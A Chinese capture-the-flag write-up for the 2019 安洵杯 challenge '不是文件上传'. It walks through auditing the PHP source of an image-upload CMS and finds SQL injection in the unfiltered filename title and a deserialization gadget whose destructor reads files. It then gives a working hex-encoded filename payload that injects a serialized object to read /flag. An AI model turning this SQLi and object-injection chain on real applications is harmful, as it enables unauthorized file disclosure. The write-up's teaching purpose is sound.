全网最细安洵杯2019 不是文件上传刷题笔记

全网最细安洵杯2019 不是文件上传刷题笔记

知识点:

github源码泄露 php反序列化 sql注入 filegetcontent文件读取

在这里插入图片描述

开局一个POWERED BY ,首先这道题一开始我的思路其实想去测一下文件上传的点,但最后没有结果

然后去扫一下目录看一下有没有敏感信息泄露

在这里插入图片描述

没有扫到源码,这时有点懵,想到powerbywowoloadimage,想一下会不会是历史漏洞,于是到github下载这个cms的源码

在这里插入图片描述

放入seay开始审计

在这里插入图片描述

首先看下seay自动审计的结果,貌似有一个文件读取,和sql注入的漏洞,跳转看一下
在这里插入图片描述

追溯一下这两个拼接到sql语句中的变量,看一下有么有过滤,可以发现在helper.php里经过了很多函数insert_array()->save()->check()->getfile()->upload(),

可以看到有个check(),这个应该是过滤传入的参数的函数,我们重点来看下

public function check($info)
	{
		$basename = substr(md5(time().uniqid()),9,16);
		$filename = $info["name"];
		$ext = substr(strrchr($filename, '.'), 1);
		$cate_exts = array("jpg","gif","png","jpeg");
		if(!in_array($ext,$cate_exts)){
			die("<p>Please upload the correct image file!!!</p>");
		}
	    $title = str_replace(".".$ext,'',$filename);
	    return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
	}

可以看出filename变量最终是由时间随机生成的文件名加上白名单后缀,而title值没有进行过滤,直接拼接传入文件名的名字去掉后缀,那我们就应该这样想,是不是可以构造恶意文件名,达到特殊的目的,我们继续往下看

public function upload($input="file")
	{
		$fileinfo = $this->getfile($input);
		$array = array();
		$array["title"] = $fileinfo['title'];
		$array["filename"] = $fileinfo['filename'];
		$array["ext"] = $fileinfo['ext'];
		$array["path"] = $fileinfo['path'];
		$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
		$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
		$array["attr"] = serialize($my_ext);
		$id = $this->save($array);
		if ($id == 0){
			die("Something wrong!");
		}
		echo "<br>";
		echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
	}

在check函数检查完后将check函数返回的值传给$fileinfo,然后再存入数组$array中,

将图像属性的长和高进行序列化,然后再统一存进数据库中,我们来分析一下存入数据库的函数

public function insert_array($data)
	{	
		$con = mysqli_connect("127.0.0.1","root","root","pic_base");
		if (mysqli_connect_errno($con)) 
		{ 
		    die("Connect MySQL Fail:".mysqli_connect_error());
		}
		$sql_fields = array();
		$sql_val = array();
		foreach($data as $key=>$value){
			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
			$sql_fields[] = "`".$key_temp."`";
			$sql_val[] = "'".$value_temp."'";
		}
		$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
		mysqli_query($con, $sql);
		$id = mysqli_insert_id($con);
		mysqli_close($con);
		return $id;
	}

首先初始化了两个空数组 $sql_fields$sql_val,然后通过 foreach 循环遍历 $data 数组中的每个元素。这里假设 $data 是一个关联数组,其中键表示字段名,值表示相应的数据。在循环内部,使用 str_replace 函数将 $key$value 中的特定序列(chr(0).'*'.chr(0))替换为字符串 ‘\0\0\0’。这种替换看起来是一种对数据进行清理或转换的形式。清理后的 $key 被用反引号括起来,并添¥加到 $sql_fields 数组中,而清理后的 $value 被用单引号括起来,并添加到 $sql_val 数组中。这里的$data传入的值,其实就是upload()函数中的$array数组,包含有传入文件经过过滤转换后的各项信息,sql插入语句中的implode函数是用来拼接数组中的内容的

array数组如下

$array->title传入的未经过滤的文件名(去掉后缀)
$array->filename根据产生时间通过time()函数随机生成的字符串
$array->ext传入文件类型,jpg,png,jpg,ipeg
$array->pathpic/filename.ext不懂可以去看下check函数的代码
$array->attr这个值是一个序列化后的数组其中包含了图片高度,与宽度的信息

这里看到一个特殊情况$array["attr"] = serialize($my_ext);对图像的高和宽进行序列化后传入数组中,这时我就想到这里会不会存在反序列化漏洞呢,继续往下看

public function view_files($path){
		if ($this->ifview == False){
			return False;
			//The function is not yet perfect, it is not open yet.
		}
		$content = file_get_contents($path);
		echo $content;
	}

	function __destruct(){
		# Read some config html
		$this->view_files($this->config);
	}

view_files()函数里有个file_get_contents($path),可以用来读取文件,在析构函数__destruct()中调用了这个view_files函数,__destruct()的触发条件是当对象被销毁时,这里肯定是需要反序列化的,用seay的全局查找功能找一下反序列化函数


	public function Get_All_Images(){
		$sql = "SELECT * FROM images";
		$result = mysqli_query($this->con, $sql);
		if ($result->num_rows > 0){
		    while($row = $result->fetch_assoc()){
		    	if($row["attr"]){
		    		$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
					$attr = unserialize($attr_temp);
				}
		        echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
		    }
		}else{
		    echo "<p>You have not uploaded an image yet.</p>";
		}
		mysqli_close($this->con);
    }

show.php中找到这个unserialize(),一开始我觉得很奇怪这里的反序列化对象是$row["attr"],这个是图像的高与宽属性,并不是未经过滤的title后面,我想了一下非常有可能是利用$title的未过滤对sql语句进行提前闭合,导致最后反序列化时的对象就是$row["title"]了,如果有大佬明白请帮我详细解释下

好了现在知道大概的漏洞原理就可以开始构造payload

现在来说下payload构造思路

因为变量title没有经过过滤传入了数组,然后数组被传入数据库中,然后当反序列化时利用sql语句提前闭合,来使反序列化的对象为title,这个变量可以通过filename来进行构造,所以我们现在就要在filename处传入一个序列化的值,需要触发析构函数且ifviewtrue

编写一个php脚本来生成序列化后的值

<?php
class helper {
    protected $ifview = True;
    protected $config = "/flag";

}
$a = new helper();
echo serialize($a);

?>

得到序列化后的值

O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}

可以从前面的代码看到在序列化后和在反序列化前分别对*\0\0\0进行了调换操作,这里我是有一点不理解的,构造payload时不能直接传入*,而是要将其替换成\0\0\0

新的值

O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";},因为sql语句中双引号会产生影响,所以我们要将它转换成16进制

0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d

然后还需要对sql语句进行闭合,所以我们可以在传值时这样构造

filename="0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.jpg"

然后brupsite传值,失败了,我看了下网上其他wp,还要在前面加一些东西

filename="a','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png"

我不理解啊,谁能来教一下我

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值